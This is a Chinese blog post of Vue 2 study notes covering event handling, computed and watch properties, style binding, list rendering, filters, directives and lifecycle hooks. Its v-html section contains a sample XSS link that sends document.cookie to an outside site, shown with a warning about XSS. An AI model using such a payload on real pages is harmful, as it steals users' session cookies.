vue入门学习知识要点总结（二），理解Vue原理及核心语法使用

羊and船

已于 2022-02-26 21:17:47 修改

阅读量160

点赞数 2

分类专栏： Vue入门学习总结文章标签： vue.js javascript vue 前端

于 2021-10-15 21:09:45 首次发布

本文链接：https://blog.csdn.net/m0_46140457/article/details/120790620

版权

Vue入门学习总结专栏收录该内容

10 篇文章 2 订阅

订阅专栏

接上一篇文章继续总结Vue的入门知识，以帮助学习。

1.7 事件处理

事件的基本使用：

使用v-on:xxx 或 @xxx 绑定事件，其中xxx是事件名；
事件的回调需要配置在methods对象中，最终会在vm上；
methods中配置的函数，不要用箭头函数！否则this就不是vm了；
methods中配置的函数，都是被Vue所管理的函数，this的指向是vm 或组件实例对象；
@click=“demo” 和 @click=“demo($event)” 效果一致，但后者可以传参

<button @click="showInfo1">点我提示信息1（不传参）</button>
<button @click="showInfo2($event,66)">点我提示信息2（传参）</button>
---
 const vm = new Vue({
	el: '#root',
	methods: {
		showInfo1: x => {
			// console.log(event.target.innerText)
			console.log(this) //此处的this是window
		},
		showInfo2(event, number) {
			console.log(event, number)
			// console.log(event.target.innerText)
			// console.log(this) //此处的this是vm
		}
	}
})

事件修饰符：

prevent：阻止默认事件（常用）
stop：阻止事件冒泡（常用）；
once：事件只触发一次（常用）；
capture：使用事件的捕获模式；
self：只有event.target是当前操作的元素时才触发事件；
passive：事件的默认行为立即执行，无需等待事件回调执行完毕；
一次可以写多个事件修饰符

<a href="url:xxx" @click.prevent.stop="fun">点我提示信息</a>
//上面只会启用函数fun，而阻住冒泡和默认的跳转行为

键盘事件

Vue中常用的按键别名：

回车 => enter

删除 => delete (捕获“删除”和“退格”键)

退出 => esc

空格 => space

换行 => tab (特殊，必须配合keydown去使用)

上 => up

下 => down

左 => left

右 => right

Vue未提供别名的按键，可以使用按键原始的key值去绑定，但注意要转为kebab-case（短横线命名）

<input type="text" placeholder="按下回车提示输入" @keydown="showInfo">
   ---
methods: {
			showInfo(e) {
				console.log(e.key, e.keyCode) //可以获得key的名字和代表的数字
			}
		}
 ---
     @keyup.caps-lock='showInfo'

系统修饰键（用法特殊）：ctrl、alt、shift、meta

(1).配合keyup使用：按下修饰键的同时，再按下其他键，随后释放其他键，事件才被触发。

(2).配合keydown使用：正常触发事件。

也可以使用keyCode去指定具体的按键（不推荐）
Vue.config.keyCodes.自定义键名 = 键码，可以去定制按键别名

//<input type="text" placeholder="按下回车提示输入" @keydown.enter="showInfo">
<input type="text" placeholder="按下回车提示输入" @keydown.huiche="showInfo">
<script type="text/javascript">
    Vue.config.keyCodes.huiche = 13 //定义了一个别名按键
    new Vue({
            el: '#root',
            data: {
                name: '尚硅谷'
            },
            methods: {
                showInfo(e) {
                    console.log(e.key, e.keyCode)//获得按键的名称和keycode
                    console.log(e.target.value)//获得输入框里的值
                }
            },
       })
</script>

1.8 计算属性

定义：要用的属性不存在，要通过已有属性计算得来。
原理：底层借助了Objcet.defineproperty方法提供的getter和setter。
get函数什么时候执行？

(1).初次读取时会执行一次。

(2).当依赖的数据发生改变时会被再次调用。

优势：与methods实现相比，内部有缓存机制（复用），效率更高，调试方便。

备注：

1)计算属性最终会出现在vm上，直接读取使用即可，在页面中使用{{方法名}}来显示计算的结果。

2)如果计算属性要被修改，那必须写set函数去响应修改，且set中要引起计算时依赖的数据发生改变。

<div id="root">
	姓：<input type="text" v-model="firstName"> <br /><br />
	名：<input type="text" v-model="lastName"> <br /><br />
	全名：<span>{{fullName}}</span> <br /><br />
</div>
<script type="text/javascript>
	const vm = new Vue({
		el: '#root',
		data: {
			firstName: '张',
			lastName: '三',
		},
		computed: {
			fullName: {
				//get有什么作用？当有人读取fullName时，get就会被调用，且返回值就作为fullName的值
				//get什么时候调用？1.初次读取fullName时。2.所依赖的数据发生变化时。
				get() {
					console.log('get被调用了')
					// console.log(this) //此处的this是vm
					return this.firstName + '-' + this.lastName
				},
				//set什么时候调用? 当fullName被修改时。
				set(value) {
					console.log('set', value)
					const arr = value.split('-')
					this.firstName = arr[0]
					this.lastName = arr[1]
				}
                //简写
				/* fullName(){
					console.log('get被调用了')
					return this.firstName + '-' + this.lastName
				} */
			}
		}
	})
</script>

1.9 监视属性

当被监视的属性变化时, 回调函数自动调用, 进行相关操作
监视的属性必须存在。
Vue自身可以监测对象内部值的改变，但Vue提供的watch默认不可以（启动深度监视后可以）
监视的两种写法：

(1).new Vue时传入watch配置

(2).通过vm.$watch监视

watch:{
	isHot:{
        //Vue中的watch默认不监测对象内部值的改变（一层）
        deep:true  //通过这个配置可以监测对象内部值改变（多层）
		immediate:true, //初始化时让handler调用一下
		//handler什么时候调用？当isHot发生改变时。
		handler(newValue,oldValue){
			console.log('isHot被修改了',newValue,oldValue)
		}
	}
    //简写
    /* isHot(newValue,oldValue){
        console.log('isHot被修改了',newValue,oldValue,this)
    } */
} 
//第二种写法
vm.$watch('isHot',{
    
	immediate:true, //初始化时让handler调用一下
	handler(newValue,oldValue){
		console.log('isHot被修改了',newValue,oldValue)
	}
})

1.10 三类函数比较

methods,watch和computed都是以函数为基础的，但各自却都不同。

参考https://blog.csdn.net/zhouzy539/article/details/96340814，作一定理解修改。

一、作用机制上

1.watch和computed都是以Vue的依赖追踪机制为基础的，它们都试图处理这样一件事情：当某一个数据（称它为依赖数据）发生变化的时候，所有依赖这个数据的“相关”数据“自动”发生变化，也就是自动调用相关的函数去实现数据的变动。

2.对methods:methods里面是用来定义函数的，很显然，它需要手动调用才能执行。而不像watch和computed那样，“自动执行”预先定义的函数。

二、从性质上

methods里面定义的是函数，你显然需要像"fun()"这样去调用它。
computed是计算属性，事实上和data对象里的数据属性是同一类的（使用上）。
watch:类似于监听机制+事件机制。

watch: {
  firstName: function(val) {this.fullName = val +this.lastName }
}
//firstName的改变是这个特殊“事件”被触发的条件，而firstName对应的函数就相当于监听到事件发生后执行的方法

三、watch和computed的不同

1.watch擅长处理的场景：一个数据影响多个数据

2.computed擅长处理的场景：一个数据受多个数据影响

3.computed能完成的功能，watch都可以完成。

4.watch能完成的功能，computed不一定能完成，例如：watch可以进行异步操作。

相比于watch/computed，methods不处理数据逻辑关系，只提供可调用的函数

四、一般使用原则

所被Vue管理的函数，最好写成普通函数，这样this的指向才是vm 或组件实例对象。
所有不被Vue所管理的函数（定时器的回调函数、ajax的回调函数等、Promise的回调函数），最好写成箭头函数，这样this的指向才是vm 或组件实例对象。

1.11 样式绑定

class样式

写法:class=“xxx” xxx可以是字符串、对象、数组。

字符串写法适用于：类名不确定，要动态获取。

对象写法适用于：要绑定多个样式，个数不确定，名字也不确定。

数组写法适用于：要绑定多个样式，个数确定，名字也确定，但不确定用不用。

style样式

:style="{fontSize: xxx}"其中xxx是动态值。

:style="[a,b]"其中a、b是样式对象。

<div id="root">
		<!-- 绑定class样式--字符串写法，适用于：样式的类名不确定，需要动态指定 -->
		<div class="basic" :class="mood" @click="changeMood">{{name}}</div> <br/><br/>

		<!-- 绑定class样式--数组写法，适用于：要绑定的样式个数不确定、名字也不确定 -->
		<div class="basic" :class="classArr">{{name}}</div> <br/><br/>

		<!-- 绑定class样式--对象写法，适用于：要绑定的样式个数确定、名字也确定，但要动态决定用不用 -->
		<div class="basic" :class="classObj">{{name}}</div> <br/><br/>

		<!-- 绑定style样式--对象写法 -->
		<div class="basic" :style="styleObj">{{name}}</div> <br/><br/>
		<!-- 绑定style样式--数组写法 -->
		<div class="basic" :style="styleArr">{{name}}</div>
</div>

<script type="text/javascript">
	Vue.config.productionTip = false
	
	const vm = new Vue({
		el:'#root',
		data:{
			name:'学习'
			mood:'normal',
			classArr:['study1','study2','study3'],
			classObj:{
				studu1:false,
				study2:false,
			},
			styleObj:{
				fontSize: '40px',
				color:'red',
			},
			styleObj2:{
				backgroundColor:'orange'
			},
			styleArr:[
				{
					fontSize: '40px',
					color:'blue',
				},
				{
					backgroundColor:'gray'
				}
			]
		},
		methods: {
			changeMood(){
				const arr = ['happy','sad','normal']
				const index = Math.floor(Math.random()*3)
				this.mood = arr[index]
			}
		},
	})
</script>

1.12 条件渲染

1）v-if

写法：(1).v-if=“表达式” (2).v-else-if=“表达式” (3).v-else=“表达式”

适用于：切换频率较低的场景。

特点：不展示的DOM元素直接被移除。

注意：v-if可以和:v-else-if、v-else一起使用，但要求结构不能被“打断”。

<!-- 使用v-if做条件渲染 -->
<h2 v-if="false">欢迎来到{{name}}</h2>
<h2 v-if="1 === 1">欢迎来到{{name}}</h2>

<!-- v-else和v-else-if -->
<div v-if="n === 1">Angular</div>
<div v-else-if="n === 2">React</div>
<div v-else-if="n === 3">Vue</div>
<div v-else>哈哈</div>

2）v-show

写法：v-show=“表达式”

适用于：切换频率较高的场景。

特点：不展示的DOM元素未被移除，仅仅是使用样式隐藏掉

<!-- 使用v-show做条件渲染 -->
<h2 v-show="false">欢迎来到{{name}}</h2>
<h2 v-show="1 === 1">欢迎来到{{name}}</h2>

备注：使用v-if的时，元素可能无法获取到，而使用v-show一定可以获取到。

1.13 列表渲染

v-for指令

用于展示列表数据
语法：v-for="(value, key) in xxx" :key=“index” /* v-for="(item, index) of car" */

在vue中,v-for的in和of使用几乎一样，也可以带三个参数v-for="(item, key, index) of xxx"

可遍历：数组、对象、字符串（用的很少）、指定次数（用的很少）

<ul>
	<li v-for="(p,index) of arr" :key="index">
		遍历数组:{{p.name}}-{{p.age}}
	</li>
</ul>

<ul>
	<li v-for="(value,k) of obj" :key="k">
        遍历对象:{{k}}-{{value}}
	</li>
</ul>

<ul>
	<li v-for="(char,index) of str" :key="index">
		遍历字符串:{{char}}-{{index}} //h--0,e--1
	</li>
</ul>

<ul>
	<li v-for="(number,index) of 3" :key="index">
		遍历指定次数:{{index}}-{{number}} //0--1,1--2,2--3
	</li>
</ul>

key的内部原理

虚拟DOM中key的作用：key是虚拟DOM对象的标识，当数据发生变化时，Vue会根据【新数据】生成【新的虚拟DOM】, 随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较，比较规则如下：
对比规则：

(1).旧虚拟DOM中找到了与新虚拟DOM相同的key：

①.若虚拟DOM中内容没变, 直接使用之前的真实DOM！

②.若虚拟DOM中内容变了, 则生成新的真实DOM，随后替换掉页面中之前的真实DOM。

(2).旧虚拟DOM中未找到与新虚拟DOM相同的key

①.创建新的真实DOM，随后渲染到到页面。

用index作为key可能会引发的问题：

(1).若对数据进行：逆序添加、逆序删除等破坏顺序操作则会产生没有必要的真实DOM更新 ==> 界面效果没问题, 但效率低。

(2). 如果结构中还包含输入类的DOM：会产生错误DOM更新 ==> 界面有问题。

开发中如何选择key?

(1).最好使用每条数据的唯一标识作为key, 比如id、手机号、身份证号、学号等唯一值。

(2).如果不存在对数据的逆序添加、逆序删除等破坏顺序操作，仅用于渲染列表用于展示，使用index作为key是没有问题的。

列表过滤与排序

<!-- 准备好一个容器-->
    <div id="root">
        <h2>人员列表</h2>
<input type="text" placeholder="请输入名字" v-model="keyWord">
    <button @click="sortType = 2">年龄升序</button>
<button @click="sortType = 1">年龄降序</button>
<button @click="sortType = 0">原顺序</button>
<ul>
    <li v-for="(p,index) of filPerons" :key="p.id">
        {{p.name}}-{{p.age}}-{{p.sex}}
            <input type="text">
                </li>
</ul>
</div>

<script type="text/javascript">
new Vue({
    el:'#root',
    data:{
        keyWord:'',
        sortType:0, //0原顺序 1降序 2升序
        persons:[
            {id:'001',name:'马冬梅',age:30,sex:'女'},
            {id:'002',name:'周冬雨',age:31,sex:'女'},
            {id:'003',name:'周杰伦',age:18,sex:'男'},
            {id:'004',name:'温兆伦',age:19,sex:'男'}
        ]
    },
    computed:{
        filPerons(){
            const arr = this.persons.filter((p)=>{
                return p.name.indexOf(this.keyWord) !== -1
            })
            //判断一下是否需要排序
            if(this.sortType){
                arr.sort((p1,p2)=>{
                    return this.sortType === 1 ? p2.age-p1.age : p1.age-p2.age
                })
            }
            return arr
        }
    }
}) 
</script>

1.14 监视数据的原理

vue会监视data中所有层次的数据。
如何监测对象中的数据？

通过setter实现监视，且要在new Vue时就传入要监测的数据。

(1).对象中后追加的属性，Vue默认不做响应式处理

(2).如需给后添加的属性做响应式，请使用如下API：

Vue.set(target，propertyName/index，value) 或 vm.$set(target，propertyName/index，value)

Vue.set(this.student,'sex','男')
this.$set(this.student,'sex','男')

如何监测数组中的数据？

通过包裹数组更新元素的方法实现，本质就是做了两件事：

(1).调用原生对应的方法对数组进行更新。

(2).重新解析模板，进而更新页面。

在Vue修改数组中的某个元素一定要用如下方法：

(1).使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()

(2).Vue.set() 或 vm.$set()

特别注意：Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象添加属性！！！

模拟一个数据监测

//创建一个监视的实例对象，用于监视data中属性的变化
const obs = new Observer(data)		
console.log(obs)	

//准备一个vm实例对象
let vm = {}
vm._data = data = obs

function Observer(obj){
	//汇总对象中所有的属性形成一个数组
	const keys = Object.keys(obj)
	//遍历
	keys.forEach((k)=>{
		Object.defineProperty(this,k,{
			get(){
				return obj[k]
			},
			set(val){
				console.log(`${k}被改了，我要去解析模板，生成虚拟DOM.....我要开始忙了`)
				obj[k] = val
			}
		})
	})
}

1.15 收集表单数据：

若< input type=“text”>，则v-model收集的是value值，用户输入的就是value值。

年龄：<input type="number" v-model.number="userInfo.age">

若：< input type=“radio”/>，则v-model收集的是value值，且要给标签配置value值。

男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
女<input type="radio" name="sex" v-model="userInfo.sex" value="female">

若：

1.没有配置input的value属性，那么收集的就是checked（勾选 or 未勾选，是布尔值）

2.配置input的value属性:

(1)v-model的初始值是非数组，那么收集的就是checked（勾选 or 未勾选，是布尔值）

(2)v-model的初始值是数组，那么收集的的就是value组成的数组

爱好：
学习<input type="checkbox" v-model="hobby" value="study">
打游戏<input type="checkbox" v-model="hobby" value="game">
吃饭<input type="checkbox" v-model="hobby" value="eat">
    ---
    data:{hobby:[]}  //数组形式

备注：v-model的三个修饰符：

lazy：失去焦点再收集数据

number：输入字符串转为有效的数字

trim：输入首尾空格过滤

1.16 过滤器

定义：对要显示的数据进行特定格式化后再显示（适用于一些简单逻辑的处理）。

语法：

(1).注册过滤器：全局注册Vue.filter(name,callback) 或 局部注册new Vue{filters:{}}

//注册全局过滤器
Vue.filter('mySlice',function(value){
	return value.slice(0,4)
})
//注册局部过滤器
new Vue({
    filters:{
        timeFormater(value,str='YYYY年MM月DD日 HH:mm:ss'){
            // console.log('@',value)
            return dayjs(value).format(str)
        }
    }
})

(2).使用过滤器：{ { xxx | 过滤器名} } 或 v-bind:属性 = “xxx | 过滤器名”

//msg为data里的数据
<h3>现在是：{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3>
<h3 :x="msg | mySlice">哈哈</h3>

备注：

1.过滤器也可以接收额外参数、多个过滤器也可以串联

2.并没有改变原本的数据, 是产生新的对应的数据

1.17 内置指令

前面熟悉的内置指令：

v-bind : 单向绑定解析表达式, 可简写为 :xxx
v-model : 双向数据绑定
v-for : 遍历数组/对象/字符串
v-on : 绑定事件监听, 可简写为@
v-if : 条件渲染（动态控制节点是否存存在）
v-else : 条件渲染（动态控制节点是否存存在）
v-show : 条件渲染 (动态控制节点是否展示)

v-text指令：

(1).作用：向其所在的节点中渲染文本内容。

(2).与插值语法的区别：v-text会替换掉节点中的内容，{ {xx} }则不会。

<div>你好，{{name}}</div>   			  //你好，学习
<div v-text="name">你好，{{name}}</div>  //学习
<div v-text="str">123</div>  			//<h3>你好啊！</h3>
---
    DATA: {  //意思为new Vue里的data
        name: '学习',
        str: '<h3>你好啊！</h3>'
    }

v-html指令：

作用：向指定节点中渲染包含html结构的内容。
与插值语法的区别：

(1).v-html会替换掉节点中所有的内容，{ {xx} }则不会。

(2).v-html可以识别html结构。

div v-html="str">哈</div>
<div v-html="str2">哈哈</div>
---
DATA:{
	name:'尚硅谷',
	str:'<h3>你好啊！</h3>',
	str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>钓鱼！</a>',
}

严重注意：v-html有安全性问题！！！！

(1).在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击。

(2).一定要在可信的内容上使用v-html，永不要用在用户提交的内容上！

v-cloak指令：

本质是一个特殊属性，没有值。Vue实例创建完毕并接管容器后，会删掉v-cloak属性。
使用css配合v-cloak可以解决网速慢时页面展示出{ {xxx} }的问题。

<h2 v-cloak>{{name}}</h2>

v-once指令：

v-once没有值。其所在节点在初次动态渲染后，就视为静态内容了。
以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能。

<h2 v-once>初始化的n值是:{{n}}</h2>

v-pre指令：

v-pre没有值。作用为跳过其所在节点的编译过程。
可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译。

<h2 v-pre>Vue其实很简单</h2>

1.18 自定义指令

一、定义语法：

(1).全局指令： Vue.directive(指令名,配置对象) 或 Vue.directive(指令名,回调函数)

(2).局部指令：new Vue({ directives:{指令名:配置对象 | 回调函数}})

注意：回调函数式的调用时间为 1.指令与元素成功绑定时（一上来）。2.指令所在的模板被重新解析时。

directives: {
  //回调函数形式
  'big-number'(element,binding){
  console.log('big',this) //此处的this指向window
  element.innerText = binding.value * 10
},
...
}

二、配置对象中常用的3个回调（里面的this均指向window）：

(1).bind：指令与元素成功绑定时调用。

(2).inserted：指令所在元素被插入页面时调用。

(3).update：指令所在模板结构被重新解析时调用。

三、备注：

1.指令定义时不加v-，但使用时要加v-；

2.指令名如果是多个单词，要使用kebab-case命名方式，不要用camelCase命名。

<button @click="n++">点我n+1</button>
<input type="text" v-fbind:value="n">  //使用自定义指令
    ---
//定义全局指令
Vue.directive('fbind',{
	//指令与元素成功绑定时（一上来）
	bind(element,binding){
		element.value = binding.value
	},
	//指令所在元素被插入页面时
	inserted(element,binding){
		element.focus()
	},
	//指令所在的模板被重新解析时
	update(element,binding){
		element.value = binding.value
	}
})

1.19 生命周期

生命周期又名：生命周期回调函数、生命周期函数、生命周期钩子。
是什么：Vue在关键时刻帮我们调用的一些特殊名称的函数。
生命周期函数的名字不可更改，但函数的具体内容是程序员根据需求编写的。
生命周期函数中的this指向是vm 或组件实例对象。

new Vue({
    beforeCreate() {
		console.log('beforeCreate')
	},
	created() {
		console.log('created')
	},
	beforeMount() {
		console.log('beforeMount')
	},
    //Vue完成模板的解析并把初始的真实DOM元素放入页面后（挂载完毕）调用mounted
    //发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。
	mounted() {
		console.log('mounted')
	},
	beforeUpdate() {
		console.log('beforeUpdate')
	},
	updated() {
		console.log('updated')
	},
    //清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。
	beforeDestroy() {
		console.log('beforeDestroy')
	},
    //销毁后借助Vue开发者工具看不到任何信息。
    //销毁后自定义事件会失效，但原生DOM事件依然有效。
    //一般不会在beforeDestroy操作数据，因为即便操作数据，也不会再触发更新流程了。
	destroyed() {
		console.log('destroyed')
	}
})

生命周期示意图

生命周期示意图

本文参考了vue官方文档及尚硅谷张天禹老师的vue教程及资料。

欢迎交流

羊and船

关注

2
点赞
踩
0

收藏

觉得还不错? 一键收藏
打赏
0
评论
vue入门学习知识要点总结（二），理解Vue原理及核心语法使用

Vue学习总结第二篇博文，主要包括了Vue的理解及使用介绍。具体有事件处理、计算属性、监视属性及他们区别、样式绑定、内置指令、自定义指令，过滤器、和生命周期等等。
复制链接

扫一扫